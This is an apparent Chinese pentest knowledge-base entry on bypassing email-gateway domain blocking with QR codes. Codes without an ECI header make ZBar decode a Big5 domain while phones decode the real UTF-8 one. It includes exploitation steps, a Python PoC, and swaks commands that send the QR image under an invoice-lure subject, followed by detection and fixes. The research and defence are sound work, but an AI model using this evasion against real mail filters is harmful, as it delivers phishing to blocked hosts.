巴别码:无 ECI 二维码 ZBar Big5 误判绕过邮件网关域名拦截
pentest/initial-access · verified
一句话结论
当二维码以 8-bit Byte 模式编码且不写 ECI 标头时,Linux 邮件网关常用的 ZBar 会把 UTF-8 字节 C3 BC(ü)按 Big5 启发式误判为汉字“羹”,而终端 ZXing/浏览器按 UTF-8 还原为 ü;同一张图因此在网关侧得到 xn--b-eg7c.lab.test、在用户侧得到 xn--b-eha.lab.test,针对后者的域名拦截规则被绕过,用户扫码后访问了网关本应禁止的主机。
原理
- QR Code 的 Byte 模式只存 8 位字节流;若生成库不插入 ECI(Extended Channel Interpretation)标头,解码器对字符集没有强制约定,回退行为由实现自行决定。
- ZBar 0.23.93 在
zbar/qrcode/qrdectxt.c中实现了text_is_big5()启发式:遍历字节,若首字节在0x81–0xFE,次字节在0x40–0x7E或0xA1–0xFE,就认为“形态像 Big5”。UTF-8 的ü=0xC3 0xBC恰好满足该形态(0xC3在0x81–0xFE,0xBC在0xA1–0xFE)。 - 判定成立后 ZBar 把 Big5 转换器提升到候选列表首位(
enc_list_mtf);随后按候选顺序调用iconv,Big5 首次转换即成功(0xC3 0xBC→ “羹” U+7FB9),代码break退出循环,后面的 UTF-8 候选被“饿死”。 - 终端侧(ZXing-C++、移动浏览器扫码)默认按 UTF-8 解码同一字节序列,得到
bü.lab.test;经 IDNA/Punycode 规范化为xn--b-eha.lab.test。 - 邮件网关用 ZBar 提取 URL 后,按
xn--b-eg7c.lab.test做域名黑名单/信誉匹配;攻击者真正想让用户访问的xn--b-eha.lab.test不在网关看到的字符串里,因此规则不命中,邮件被放行。用户扫码后终端按 UTF-8 解析并访问被禁主机,形成“网关审视对象 ≠ 用户访问对象”的语义断层。
触发条件
- 邮件网关的二维码提取链路使用 ZBar(如 SpamAssassin
ExtractText+zbarimg,或 Proxmox Mail Gateway 接入同一官方配置); - 二维码为 Byte 模式且没有 ECI 标头;
- 载荷包含非 ASCII 字符,其 UTF-8 字节序列同时符合 Big5 双字节形态(如
ü的C3 BC); - 收件终端使用 UTF-8 优先的解码器(ZXing、主流手机相机/浏览器);
- 网关存在针对终端实际访问域名(
xn--b-eha...)的拦截规则,但未同时覆盖 ZBar 误判出的域名(xn--b-eg7c...); - 二维码可作为附件或 HTML 内联图片进入邮件正文。
利用步骤
- 选择一个 UTF-8 字节序列能被 ZBar 误判为 Big5 的拉丁扩展字符(如
ü),构造目标 URLhttp://bü.lab.test:8080/benign。 - 用
qrcode的QRData(..., mode=MODE_8BIT_BYTE)生成二维码,optimize=0,不写 ECI。 - 本地分别用
zbarimg -q --raw与zxing-cpp解码,确认网关侧得到b羹...、终端侧得到bü...;再计算两者 Punycode。 - 配置网关规则仅拦截终端域名(
xn--b-eha.lab.test),用swaks发送挂载该 PNG 的邮件。 - 观察网关返回
250 OK(对照组纯文本 URL 返回550),邮件进入收件箱。 - 收件端取出同一 SHA-256 的 PNG,扫码/ZXing 解码为
bü,浏览器访问xn--b-eha.lab.test,命中原本应被拦截的目标。
PoC
import qrcode
from qrcode.util import QRData, MODE_8BIT_BYTE
url = "http://bü.lab.test:8080/benign"
qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_M, box_size=10, border=4)
qr.add_data(QRData(url.encode("utf-8"), mode=MODE_8BIT_BYTE), optimize=0)
qr.make(fit=True)
qr.make_image().save("poc_charset.png")
zbarimg -q --raw poc_charset.png # 网关侧:http://b羹.lab.test:8080/benign
zxing-cpp poc_charset.png # 终端侧:http://bü.lab.test:8080/benign
python3 - <<'PY'
print('网关审查主机:', 'b羹.lab.test'.encode('idna').decode()) # xn--b-eg7c.lab.test
print('终端访问主机:', 'bü.lab.test'.encode('idna').decode()) # xn--b-eha.lab.test
PY
# 对照组:纯文本禁止域名 → 550
swaks --to victim@company.lab.test --from test@attacker.test --server 127.0.0.1:2525 \
--header "Subject: Security Test" --body "http://xn--b-eha.lab.test:8080/benign"
# 实验组:巴别码附件 → 250
swaks --to victim@company.lab.test --from test@attacker.test --server 127.0.0.1:2525 \
--header "Subject: Invoice Notification" --body "Please scan the attached QR code." \
--attach poc_charset.png
变体与关联
- 变体:同一字节序列在 Latin-1 下解释为
bü,会得到第三个 Punycode 域名;但该域名可能不满足 UTS46,工程可用性低于 Big5 分支。 - 变体:HTML 内联图片与附件均能触发;原文在 SpamAssassin 4.0.1/4.0.2 与 PMG 9.1 上验证了两种承载形式。
- 反例:ZXing-C++、rqrr 0.10.1(Vigilyx 0.9.4)、KSMG 3.1.0 均按 UTF-8 正确解码,不复现;换用严格 UTF-8 解码器可天然免疫。
- 关联:[[pentest-initial-access-babel-codes-qr-nul-truncation-ioc-blindspot]](同研究的 NUL 截断差分机制);[[pentest-initial-access-homograph-idn-domain-phishing]](IDN/Punycode 钓鱼的另一路径)。
- 边界:显式 UTF-8 ECI 的二维码会被两端一致解码,不触发;网关若同时解码多个字符集候选并做并集研判,也能发现真实域名。
检测与防御
- 检测:同一二维码用多个解码器/多字符集候选解码结果不一致;ZBar 输出中出现与邮件语言上下文不符的繁体 CJK 字符(如拉丁字节误判出的“羹”);无 ECI 且含非 ASCII 字节的二维码。
- 修复(网关):对无 ECI 的非 ASCII 二维码同时提取 UTF-8、Big5 等多字符集候选,全部加入 URI 研判池;对 ZBar 的启发式结果做异常加权(如
QR_BIG5_ANOMALY)。 - 修复(生成侧):业务系统生成二维码时强制写入 UTF-8 ECI(如
segno.make(..., encoding="utf-8", eci=True)),消除解码器猜测空间。 - 加固:使用严格 UTF-8 优先的现代解码库;对二维码 URL 做 IDNA 规范化后再做信誉匹配;不要仅依赖单一解码引擎的字符串做域名黑名单。